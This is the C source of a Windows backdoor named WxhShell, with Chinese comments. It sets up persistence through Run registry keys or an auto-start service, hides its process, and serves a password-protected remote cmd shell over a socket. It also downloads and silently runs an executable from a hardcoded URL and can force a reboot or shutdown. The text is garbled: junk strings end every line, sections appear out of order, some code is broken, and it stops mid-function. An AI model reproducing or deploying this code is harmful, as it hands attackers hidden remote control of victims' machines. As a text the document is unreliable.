    if(Boot(SHUTDOWN)) Pt< s* (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JcO08n  
    else { ~[PKcEX  
    closesocket(wsh); m>&HuHf  
    ExitThread(0); ~4,I7c7  
    } ><?BqRm+  
    break; |BU+:+  
    } K`:=]Z8  
  // 获取shell f6=w3RS  
  case 's': { D$e B ,~  
    CmdShell(wsh); jdqj=Yc  
    closesocket(wsh); WgGm#I>K  
    ExitThread(0); 7Hw<ojkt  
    break; }odV_WT  
  } |01?w|  
  // 退出 bMoAD.}  
  case 'x': { d}I (`%%)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (zo^Nn9VJ  
    CloseIt(wsh); b B  
    break; M~T.n)x2  
    } D vkxI<Xa  
  // 离开 TQ :/RT  
  case 'q': { i^z`"3#LE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wVK*P -C  
    closesocket(wsh); QGnxQ{ko  
    WSACleanup(); 3eIr{xs  
    exit(1); 'md0]R|  
    break; 1qdZ c_x  
        } g<*jlM1r  
  } S4NL "m  
  } eo]#sf@\0  
0Ce]V,i6C>  
  // 提示信息 @)YY\l#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &R-H"kK?  
} h5%|meZQb  
  } . 5HQ   
*tQk;'/A]  
  return; !%L,* '  
} &Y>zT9]$K  
/ci]}`'ws  
// shell模块句柄 ,%"xH4d  
int CmdShell(SOCKET sock) h+UnZfm  
{ ,8Iv9M}2  
STARTUPINFO si; *6ZCDm&N  
ZeroMemory(&si,sizeof(si)); y f1CXldi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;1AG3P'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EYS>0Y  
PROCESS_INFORMATION ProcessInfo; ]L_w$ev'  
char cmdline[]="cmd"; pR o s{Uq"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {i{xo2<1"  
  return 0; #~ v4caNx  
} H. ,;-  
h=VqxGC&  
// 自身启动模式 =5]n\"/  
int StartFromService(void) ?^!,vh  
{ yOXO)u1n  
typedef struct Y Z}cB  
{ K\! #4>yd  
  DWORD ExitStatus; C*Vd-U  
  DWORD PebBaseAddress; l)8&Ip  
  DWORD AffinityMask; < +`(\  
  DWORD BasePriority; ReB7vpd  
  ULONG UniqueProcessId; F}?<v8#z0  
  ULONG InheritedFromUniqueProcessId; x4?10f(9=  
}   PROCESS_BASIC_INFORMATION; o3Ot.9L  
}U 5Y=RYo  
PROCNTQSIP NtQueryInformationProcess; GRYe<K  
ks(SjEF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ws[D{dS/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a=}*mF[ug  
wGKo.lt   
  HANDLE             hProcess; +=@^i'  
  PROCESS_BASIC_INFORMATION pbi; '"YYj$> '  
R'K/t|MC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eBr4O i  
  if(NULL == hInst ) return 0; c=p=-j=.J  
T.&7sbE_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xp \S2@<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xh9qg0d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %|Qw9sbd  
Y>6.t"?Q^  
  if (!NtQueryInformationProcess) return 0; $n=lsDnhQ  
{")\0|2\x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GlYly5F  
  if(!hProcess) return 0; '?Bg;Z'L%  
)najO *n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TRvZ  
#*$p-I=  
  CloseHandle(hProcess);  !rL<5L  
kEN#u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %CH6lY=lI  
if(hProcess==NULL) return 0; ]?l{j  
O12Q8Oj!0  
HMODULE hMod; @"87F{!  
char procName[255]; *YV S|6bs  
unsigned long cbNeeded; F4I6P  
#;r]/)>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0&w0a P`Y  
}p3b#fAr  
  CloseHandle(hProcess); rzLd"`  
XX;6 P  
if(strstr(procName,"services")) return 1; // 以服务启动 Pe^ !$  
[ = M%  
  return 0; // 注册表启动 |7F*MP  
} K'b*A$5o  
L4' [XcY  
// 主模块 [Eq<":)  
int StartWxhshell(LPSTR lpCmdLine) d "<F!?8  
{ [s6C ZcL  
  SOCKET wsl; 7!4V >O8@  
BOOL val=TRUE; >.%4~\U  
  int port=0; 1 =GI&f2I  
  struct sockaddr_in door; kA?_%fi1  
E%pz9gcSx  
  if(wscfg.ws_autoins) Install(); M@7Xp)S"  
{[#(w75R{  
port=atoi(lpCmdLine); 8n)WW$  
] f 7#N  
if(port<=0) port=wscfg.ws_port;  -;c  
6SEltm(  
  WSADATA data; yY=<'{!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z/|BH^Vw  
w9&#~k]5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RI.2F*|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bH9Le  
  door.sin_family = AF_INET; D'i6",Z>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !$xu(D.  
  door.sin_port = htons(port); Eu<r$6Q0}o  
{w 5Z7s0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vgG}d8MW37  
closesocket(wsl); ;)/@Xx  
return 1; J\`^:tcG  
} EA0iYzV  
K&`Awv  
  if(listen(wsl,2) == INVALID_SOCKET) { ohZx03  
closesocket(wsl); x7ATI[b[  
return 1; ej[Su  
} W'$kZ/%[  
  Wxhshell(wsl); Uene=Q6>  
  WSACleanup(); S`g;Y '  
<|F-Dd  
return 0;  kq/u,16@  
@6MAX"  
} %v=!'?VT  
#+jUhxq  
// 以NT服务方式启动 zJl_ t0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -Zy)5NB-tZ  
{ o:\XRPB  
DWORD   status = 0; x-Z^Q C  
  DWORD   specificError = 0xfffffff; d<T%`:s<  
_/x& <,3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9M2f!kJP$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v*TeTA %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G}Z4g  
  serviceStatus.dwWin32ExitCode     = 0; h_ ZX/k  
  serviceStatus.dwServiceSpecificExitCode = 0; ;h=S7M9.  
  serviceStatus.dwCheckPoint       = 0; (_8#YyW#  
  serviceStatus.dwWaitHint       = 0; FmT `Oa>  
Mtp%co)f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); esq<xuZM4  
  if (hServiceStatusHandle==0) return; ww,Z )m  
RaNeZhF>M  
status = GetLastError(); [MmM9J["  
  if (status!=NO_ERROR) L3c*LL  
{ d6b.zP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uQp_':\k  
    serviceStatus.dwCheckPoint       = 0; i?>Hr|  
    serviceStatus.dwWaitHint       = 0; *\q8BZ  
    serviceStatus.dwWin32ExitCode     = status; rg)h 5G  
    serviceStatus.dwServiceSpecificExitCode = specificError; AzjMv6N   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e-6(F4  
    return; [m#NfA:h,  
  } xs1bxJ_R  
kK?zVH-!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j#igu#MB*  
  serviceStatus.dwCheckPoint       = 0; sR79 K1*j  
  serviceStatus.dwWaitHint       = 0; >]/dOH,A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I'A:J  
} eP|)SU  
K-@bwB7~s  
// 处理NT服务事件,比如:启动、停止 M,..Kw/ }~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l2/ @<0P  
{ jgRCs.6  
switch(fdwControl) o;;,iHu*  
{ (,tHL  
case SERVICE_CONTROL_STOP: VkXn8J  
  serviceStatus.dwWin32ExitCode = 0; ~CFMIQ et  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (j N]OE^  
  serviceStatus.dwCheckPoint   = 0; Wem?{kx0  
  serviceStatus.dwWaitHint     = 0; 3+ asP&n  
  { 4A  o{M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ND,`QjmZ  
  } _LLshV3  
  return; 3^~Zj95M  
case SERVICE_CONTROL_PAUSE: Czh8zB+r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mjw[:70  
  break; {PmzkT}LF  
case SERVICE_CONTROL_CONTINUE: .0 X$rX=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lC{L6&T  
  break; 04\Ta  
case SERVICE_CONTROL_INTERROGATE: FO^24p  
  break; ?*o;o?5s^  
}; LDX y}hm)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fLM.k CD?u  
} +$ ~8)95<B  
ZgBckb  
// 标准应用程序主函数 G5u meqYC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n)CH^WHL&  
{ Rp eBm#E2  
'FxYMSZS$  
// 获取操作系统版本 BvJ\x)  
OsIsNt=GetOsVer(); I}%mfojC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }K;iJ~kD1  
-x?Hj/  
  // 从命令行安装 Nuq(4Yf1W  
  if(strpbrk(lpCmdLine,"iI")) Install(); /&6Q)   
hU+#S(t>b  
  // 下载执行文件 p XNtN5@FQ  
if(wscfg.ws_downexe) { Cz[5Ug'V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Jxlj(" 0(  
  WinExec(wscfg.ws_filenam,SW_HIDE); d~/xGB`<  
} o@',YF>OQ  
s kY0\V  
if(!OsIsNt) { Xv&%2-V;  
// 如果时win9x,隐藏进程并且设置为注册表启动 w3d\0ub  
HideProc(); 2<m Q,,j  
StartWxhshell(lpCmdLine); ' tSnH&c  
} Q'C 4pn@  
else <G}m#  
  if(StartFromService()) 7YD\ !2b  
  // 以服务方式启动 C=s((q*  
  StartServiceCtrlDispatcher(DispatchTable); i8eA_Q  
else !|(Ao"]  
  // 普通方式启动 UL ck  
  StartWxhshell(lpCmdLine); R05T5Q1]A  
6Ok,_ !  
return 0; CQ jV!d0j  
} 30BR 0C  
8(uw0~GO  
K)N)IZ1q  
Sy:K:Z|[U  
=========================================== 9<w=),R`8  
`U!(cDY  
YpiRF+G  
J]\s*,C&  
wvX"D0eVn  
"V:XhBG?  
" Iw*C*%}[Z  
e00RT1L  
#include <stdio.h> Z{ %Uw;d  
#include <string.h> v$Dh.y  
#include <windows.h> ^X$ I=ro  
#include <winsock2.h> T 77)Np  
#include <winsvc.h> [e1\A&T  
#include <urlmon.h> g\qX7nIH?  
jigbeHRy  
#pragma comment (lib, "Ws2_32.lib") y]MWd#U  
#pragma comment (lib, "urlmon.lib") O2$!'!hz  
_3I3AG0e  
#define MAX_USER   100 // 最大客户端连接数 @X|ok*v`  
#define BUF_SOCK   200 // sock buffer "wF*O"WQo  
#define KEY_BUFF   255 // 输入 buffer *:(1K%g  
M$#+W?m&  
#define REBOOT     0   // 重启 Qk|( EFQ9  
#define SHUTDOWN   1   // 关机 tI `w;e%HN  
Re7{[*Q4  
#define DEF_PORT   5000 // 监听端口 +6uOg,;  
Fu#Y7)r  
#define REG_LEN     16   // 注册表键长度 & 8zk3  
#define SVC_LEN     80   // NT服务名长度 q~mcjbLz  
l(.7t'  
// 从dll定义API :S#eg1y.w]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vW9^hbdx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FV`3,NFk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @f-0X1C."N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C CC4(v  
y+l<vJu  
// wxhshell配置信息 =":@Foa  
struct WSCFG { ZjE~W>pkQ  
  int ws_port;         // 监听端口 7jhl0  
  char ws_passstr[REG_LEN]; // 口令 l DgzM3  
  int ws_autoins;       // 安装标记, 1=yes 0=no h)"'YzCt  
  char ws_regname[REG_LEN]; // 注册表键名 FyQOa)5  
  char ws_svcname[REG_LEN]; // 服务名 ZV0) ."^Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bx1G CD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pVdhj^n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kWI]fZ_n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Qh/lT$g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TeOFAIU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?exALv'B  
(2n3exx  
}; o@Dk%LxP  
wHq('+{=&  
// default Wxhshell configuration r#ks>s  
struct WSCFG wscfg={DEF_PORT, ;<86P3S  
    "xuhuanlingzhe", y>?k<)nA{  
    1, \XZU'JIO  
    "Wxhshell", *{HGLl|=  
    "Wxhshell", \?aOExG I  
            "WxhShell Service", hg(KNvl  
    "Wrsky Windows CmdShell Service", c>M_?::)0  
    "Please Input Your Password: ", 4mki&\lw`  
  1, ;]|m((15G  
  "http://www.wrsky.com/wxhshell.exe", BASO$?jf4  
  "Wxhshell.exe" N)`tI0/W  
    }; x*3@,GmZl  
y[TaM9<  
// 消息定义模块 F I80vV7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A;K{&x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s9^"wN YQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xKRfl1  
char *msg_ws_ext="\n\rExit."; ZKVp[A  
char *msg_ws_end="\n\rQuit."; KB$ vQ@N  
char *msg_ws_boot="\n\rReboot..."; ;""-[4C  
char *msg_ws_poff="\n\rShutdown..."; =iA"; x  
char *msg_ws_down="\n\rSave to "; =f/avGX  
wCqE4i  
char *msg_ws_err="\n\rErr!"; K+(m'3`  
char *msg_ws_ok="\n\rOK!"; c`Lpqs`  
vbW\~xf  
char ExeFile[MAX_PATH]; TiwHLb9  
int nUser = 0; :FEd:0TS  
HANDLE handles[MAX_USER]; Lqy|DJ%  
int OsIsNt; gEX:S(1 QP  
qdg= Imx  
SERVICE_STATUS       serviceStatus; bvt-leA=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r>n8`W  
1 8l~4"|fk  
// 函数声明 fSm?27_  
int Install(void); F>hVrUD8  
int Uninstall(void); vLVSZX  
int DownloadFile(char *sURL, SOCKET wsh); Ktj(&/~}  
int Boot(int flag); T1Ln)CS?9  
void HideProc(void); 1KfJl S+  
int GetOsVer(void); -Hl\j (D7  
int Wxhshell(SOCKET wsl); pZNlcB[Qn-  
void TalkWithClient(void *cs); P7M0Ce~iW  
int CmdShell(SOCKET sock); ^v()iF !  
int StartFromService(void); &@Ji+  
int StartWxhshell(LPSTR lpCmdLine); 'eTpcrS3  
dA3`b*nC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /jn:e"0~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J-HabHv  
G5C#i7cpm  
// 数据结构和表定义 oW` *FD  
SERVICE_TABLE_ENTRY DispatchTable[] = B)LXxdkOn  
{ /0'fcjOaQ  
{wscfg.ws_svcname, NTServiceMain}, SV$ASs  
{NULL, NULL} < :S?t2C  
}; r)*_,Fo|  
3@#,i<ge:  
// 自我安装 -0[>}!l=G  
int Install(void) n~L'icD[  
{ [xH2n\7  
  char svExeFile[MAX_PATH]; IWSEssP  
  HKEY key; av$\@4I  
  strcpy(svExeFile,ExeFile); #dXZA>b9  
?L.p9o-S0  
// 如果是win9x系统,修改注册表设为自启动 #oS  
if(!OsIsNt) { -F~9f>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q'vIeG"o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); eFeCS{LV+  
  RegCloseKey(key); 'JXN*YO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?j ;,q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OmQuAG ^\x  
  RegCloseKey(key); oD|+X/F K  
  return 0; cc#_acR  
    } YjMbd?v  
  } jw&}N6^G  
} *AJezhR  
else { ! 7#froh  
,& {5,=  
// 如果是NT以上系统,安装为系统服务 `OF g.R|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pRaoR  
if (schSCManager!=0) $(!D/bvJ  
{ NC#kI3{  
  SC_HANDLE schService = CreateService 2T{-J!k  
  ( 0bRkC,N (  
  schSCManager, q, 19NZ  
  wscfg.ws_svcname, |R|U z`  
  wscfg.ws_svcdisp, V%Z[,C u+  
  SERVICE_ALL_ACCESS, h3vm< R;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , o Q!g!xz  
  SERVICE_AUTO_START, uc{Qhw!;:  
  SERVICE_ERROR_NORMAL, 7kew/8-  
  svExeFile, 4 Q>jP3  
  NULL, _<&K]e@dp  
  NULL, 7xa@wa?!L  
  NULL, >H]|A<9u(  
  NULL, g#bfY=C  
  NULL 5<>R dLo  
  ); b&_u O  
  if (schService!=0) Hr64M0V3B  
  { HhT8YH  
  CloseServiceHandle(schService); ](( >i%%~  
  CloseServiceHandle(schSCManager); &bRxy`ZH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % /wP2O<  
  strcat(svExeFile,wscfg.ws_svcname); ;gw!;!T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f%{ ag  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WG!;,~f>o  
  RegCloseKey(key); Tef3 Z6  
  return 0; ^?l-YnQqm?  
    } "=0 lcb C  
  } .$T:n[@  
  CloseServiceHandle(schSCManager); Yk*57&QI  
} 0OoO cc  
} DG%%]  
2ucsTh@  
return 1; APOU&Wd  
} *p<5(-J3  
($ 1<Dj:  
// 自我卸载 Z[A|SyZp  
int Uninstall(void) M#gGD-  
{ `E1_S  
  HKEY key; "Z1&z-   
>ehWjL`8  
if(!OsIsNt) { }sN9QgE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %0M^  
  RegDeleteValue(key,wscfg.ws_regname); j7| \)x,  
  RegCloseKey(key); . I9] `Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M5bj |tQ4  
  RegDeleteValue(key,wscfg.ws_regname); 113x9+w[  
  RegCloseKey(key); , $F0D  
  return 0; X +  
  } pkMON}"mj  
} I3y4O^?  
} Bjrv;)XH  
else { lPSDY&`P  
i(qYyO'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C%7,#}[U/  
if (schSCManager!=0) 9/qS*Zdh)  
{ uL{~(?U$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?@ye*%w_  
  if (schService!=0) 1RO gUJ;  
  { 1VM5W!}  
  if(DeleteService(schService)!=0) { NCh(-E  
  CloseServiceHandle(schService); XIW: Nk!S  
  CloseServiceHandle(schSCManager); :FgRe,D  
  return 0; R;m0eG`  
  } .Yv.-A=ZIg  
  CloseServiceHandle(schService); {~{s=c0  
  } f0'Wq^^  
  CloseServiceHandle(schSCManager); /xbF1@XtL  
} ;. [$  
} *Zo o  
8$xKg3-3M  
return 1; >^)5N<t?  
} 8QgL7  
.2-JV0  
// 从指定url下载文件 8@*|T?r  
int DownloadFile(char *sURL, SOCKET wsh) 9^h%}>  
{ VX@G}3Ck  
  HRESULT hr; qc4 "0Ap'  
char seps[]= "/"; .L|ax).D  
char *token; (+v*u]w4  
char *file; wuCtg=  
char myURL[MAX_PATH]; =id $  
char myFILE[MAX_PATH]; 3B|-xq;]I  
"ddH7:(k<  
strcpy(myURL,sURL); $Lbe5d?\  
  token=strtok(myURL,seps); +g7nM7,1a  
  while(token!=NULL) %Yn)t3d  
  { >u[1v  
    file=token; $%"}N_M  
  token=strtok(NULL,seps); N5_.m(:  
  } 6&Ir0K/  
Q]'!FmXf  
GetCurrentDirectory(MAX_PATH,myFILE); 3tcsj0Rb  
strcat(myFILE, "\\"); ;GE u.PdxB  
strcat(myFILE, file); h*LL(ow5  
  send(wsh,myFILE,strlen(myFILE),0); NjyIwo0  
send(wsh,"...",3,0); <;Z3 5 {  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %>U*A  
  if(hr==S_OK) hCoL j6Vx  
return 0; M HB]'  
else ZVR 9vw 28  
return 1; |dzF>8< )  
~,65/O  
} 6OW-Dif^AG  
._nKM5.  
// 系统电源模块 >o= p5#{  
int Boot(int flag) EQhV}9  
{ #C7j|9Ew1]  
  HANDLE hToken; CXFAb1m  
  TOKEN_PRIVILEGES tkp; oVsazYJ|?  
,(=]6V  
  if(OsIsNt) { d iLl>z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lH>XIEj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nEEGO~e  
    tkp.PrivilegeCount = 1; RUtS_Z&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XFe7qt;%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [1MEA;  
if(flag==REBOOT) { YU,:3{9,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *c c+Fd  
  return 0; YYh_lAS>  
} Czxrn2p/  
else { cY]Y8T)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <~*Ol+/  
  return 0; j7+t@DqQ  
} vp9<.*h  
  } _ 7.y4zQJ  
  else { 5hK\YTU  
if(flag==REBOOT) { LkB!:+v |B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GK%ovK  
  return 0; oA%[x  
} j'x{j %U  
else { >7q,[:(gs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1 *CWHs  
  return 0;  nGd  
} I@M^Wu]wW  
} mcG$V0D <{  
I,3!uogn  
return 1; @&B!P3{f  
} -y.AJ~T  
9v2 ;  
// win9x进程隐藏模块 [![ (h %  
void HideProc(void) A\.*+k/B  
{ !c($C   
f~9Y1|6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $3B?  
  if ( hKernel != NULL ) ;qK6."b`;  
  { EQ $9IaY.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <]^D({`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L:Eb(z/D  
    FreeLibrary(hKernel); PtOnj)Q  
  } rv%[?Ml  
}O  
return; l$9,  
} A$6b=2hc>  
r/2:O92E  
// 获取操作系统版本 `0D1Nh"%k  
int GetOsVer(void) uJ\Nga<?  
{ `%p6i| _Q  
  OSVERSIONINFO winfo; Zx 1z hc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `ayc YoD  
  GetVersionEx(&winfo); VC7F#a*V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ! fc)  
  return 1; dhkpkt<G8  
  else 4] 1a^@?  
  return 0; ii9/ UtIQ  
} ,+9r/}K]/  
 gV kI=J  
// 客户端句柄模块 Fo~v.+^?  
int Wxhshell(SOCKET wsl) RkwY3 s"  
{ j56 An6g  
  SOCKET wsh; p]eD@3Wz  
  struct sockaddr_in client; V+z)B+  
  DWORD myID; AoeW<}MO  
&N0|tn  
  while(nUser<MAX_USER) v2sU$M  
{ a6P.Zf7  
  int nSize=sizeof(client); R?s\0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W F<V2o{k  
  if(wsh==INVALID_SOCKET) return 1; KK$A 4`YoR  
<LN$[&f#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q04Dj-2<  
if(handles[nUser]==0) |9eY R  
  closesocket(wsh); 2A+,. S_!x  
else J3;KQ}F.I  
  nUser++; n.RhA-O  
  } 7d)' y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eUlb6{!y?  
W<o0Z OO  
  return 0; qH"a!  
} -+|[0hpw  
v1)6")8o+  
// 关闭 socket Bn q\Gg  
void CloseIt(SOCKET wsh) yw!`1#3.  
{ qV,j)b3M  
closesocket(wsh); >oDP(]YGg  
nUser--; xS1|Z|&  
ExitThread(0); e]?S-J'z  
} F2'cL@E3  
[hbp#I~*[  
// 客户端请求句柄 #57z-x[1  
void TalkWithClient(void *cs) 0+LloB  
{ t@M] ec  
gQ#T7  
  SOCKET wsh=(SOCKET)cs; 3~rc=e  
  char pwd[SVC_LEN]; cU|jT8Q4H  
  char cmd[KEY_BUFF]; =U2n"du  
char chr[1]; a*y mBGF  
int i,j; x$DJ  
V"iLeC  
  while (nUser < MAX_USER) { *'-^R9dN.S  
+to9].O7y  
if(wscfg.ws_passstr) { !@k@7~i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MDt?7c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c\MDOD%9  
  //ZeroMemory(pwd,KEY_BUFF); \-ws[  
      i=0; 5&= n  
  while(i<SVC_LEN) { )W|jt/  
p>3'77 V  
  // 设置超时 mC(t;{  
  fd_set FdRead; U:hC! t:  
  struct timeval TimeOut; " SqKS,J  
  FD_ZERO(&FdRead); Y3>\;W*?  
  FD_SET(wsh,&FdRead); # HYkzjb  
  TimeOut.tv_sec=8; ?GU!ke p  
  TimeOut.tv_usec=0; %nF\tVP3]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XtdLKYET  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S]O Hv6  
W[<":NX2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %[m1\h"1  
  pwd=chr[0]; _!p3M3"$B  
  if(chr[0]==0xd || chr[0]==0xa) { ,6\f4/  
  pwd=0; Z]\^.x9S  
  break; $uynW3h  
  } u6T?oK9j  
  i++; >irT|VTf  
    } :/%xK"  
\w[%n0  
  // 如果是非法用户,关闭 socket |/s2AzDD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); { ][7Np!y  
} -$ z"74  
'PYqp&gJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w8I&:"^7<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |9Ks13?Ck  
dvF48,kr  
while(1) { l?_!eA  
\RyA}P5 S  
  ZeroMemory(cmd,KEY_BUFF); -wMW@:M_  
b)^ZiRW``  
      // 自动支持客户端 telnet标准   HWOs@ !cL  
  j=0; [qMdOY%jx  
  while(j<KEY_BUFF) { } /3pC a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "m;]6B."  
  cmd[j]=chr[0]; %v:h]TA  
  if(chr[0]==0xa || chr[0]==0xd) { BM~niW;k  
  cmd[j]=0; ^T6!z^g1h  
  break; FD+PD:cQn  
  } z>;+'>XXgx  
  j++; L b;vrh;A  
    } wN hR(M7  
>ImM~SR)  
  // 下载文件 1t=X: ]0j  
  if(strstr(cmd,"http://")) { aZGDtzNG5h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,GP4I3D  
  if(DownloadFile(cmd,wsh)) 1?#9K j{ql  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -8 =u{n  
  else `h5eej&s(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L#q9_-(#  
  } y$V)^-U>fw  
  else { .ASwX   
m>dcb 6B+g  
    switch(cmd[0]) { y]f^`2L!8>  
  fYM6wYJ  
  // 帮助 ey\{C`(__y  
  case '?': { UZXcKl>u  
